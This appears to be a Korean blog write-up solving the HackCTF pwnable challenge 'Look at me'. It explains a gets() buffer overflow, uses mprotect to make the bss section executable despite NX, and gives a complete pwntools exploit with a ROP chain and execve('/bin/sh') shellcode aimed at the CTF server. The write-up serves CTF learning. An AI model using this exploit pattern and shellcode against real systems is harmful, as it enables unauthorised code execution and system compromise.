tmxklab
[HackCTF/Pwnable] Look at me 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3017
1) 접속
한 번의 입력을 받고 종료됨
2-1) IDA(Pseudocode)확인 - main()
- look_at_me함수를 실행 시킴
2-2) IDA(Pseudocode)확인 - look_at_me()
- gets()를 통해 입력을 받음 -> bof
3) $file를 통해 확인
- statically linked -> 정적 라이브러리를 사용함
4) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
look_at_me함수에서 입력 값을 받을 수 있는 gets함수가 존재하므로 look_at_me부터 확인
1) look_at_me()
- [ebp-0x18]에 gets의 입력 값을 받는 변수 존재
- 따라서, gets를 통해 rtl을 하기 위해 system함수 확인
- 현재 system함수도 없고 /bin/sh문자열도 없다.
- 그리고, NX가 걸려있어서 쉘 코드를 삽입해서 실행시킬 수 없다.
2) mprotect함수
이 때, mprotect함수를 이용한다.
* int mprotect(void *addr, size_t len, int prot);
- 메모리로 매핑된 영역의 보호 모드를 변경할 때 사용되는 함수
- 매핑된 메모리의 보호 모드는 mmap함수로 메모리 매핑을 수행할 때 초깃값을 설정한다.
- addr로 지정한 주소에 len크기만큼 매핑된 메모리의 보호 모드를 prot에 지정한 값으로 변경
- prot : PROT_READ, PROT_WRITE, PROT_EXEC, PROT_NONE(prot에 7을 주면 rwx가 모두 설정된다.)
- 주의 : addr의 값은 페이지 경계에 맞게 정렬되어야 한다. (page의 크기는 4096)
3) 결론
- look_at_me함수의 gets함수를 통해 RTL을 수행
- 이 때, NX-bit가 걸려있어도 mprotect함수를 사용하면 고정된 주소 값에 삽입한 Shellcode를 실행시킬 수 있다.
3. 풀이
고정된 주소 값에 쉘 코드를 삽입하기 위해 bss영역을 사용한다.
1) bss 주소 확인
- bss address : 0x080eaf80
2) gadget 찾기($ROPgadget --binary ./lookatme | gre ret)
- pr : 0x080681c0
- pppr : 0x080509d5
3) 공격 페이로드 구성
[ dummy(28bytes) ] + [ gets() ] + [ pr ] + [ bss ] + [ mprotect() ] + [ pppr ] + [ bss_start ] + [ 8000 ]+ [ 7 ] + [ bss ]
- 이 때, mprotect함수에서 매핑 사이즈가 4096으로 제한되어 있으므로 아까 구한 bss영역이 0x080eaf80이므로 bss_start는 0x080ea00가 되어야 한다.
4) 공격 코드 작성
from pwn import *
context.log_level="debug"
r = remote("ctf.j0n9hyun.xyz", 3017)
#p = process('./lookatme', aslr=False)
#gdb.attach(p)
e = ELF('./lookatme')
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
mprotect = e.symbols['mprotect']
gets = e.symbols['gets']
bss = 0x080eaf80
bss_start = 0x080ea000
pr = 0x80681c0
pppr = 0x080509d5
payload = "A"*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)
#p.recvuntil('oooo')
#p.sendline(payload)
#p.sendline(shellcode)
#p.interactive()
r.recvuntil("oooo")
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
5) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] ezshell (0) | 2020.06.11 |
---|---|
[HackCTF/Pwnable] Gift (0) | 2020.05.18 |
[HackCTF/Pwnable] Beginner_Heap (0) | 2020.03.07 |
[HackCTF/Pwnable] RTL_Core (0) | 2020.02.23 |
[HackCTF/Pwnable] Random Key (0) | 2020.02.23 |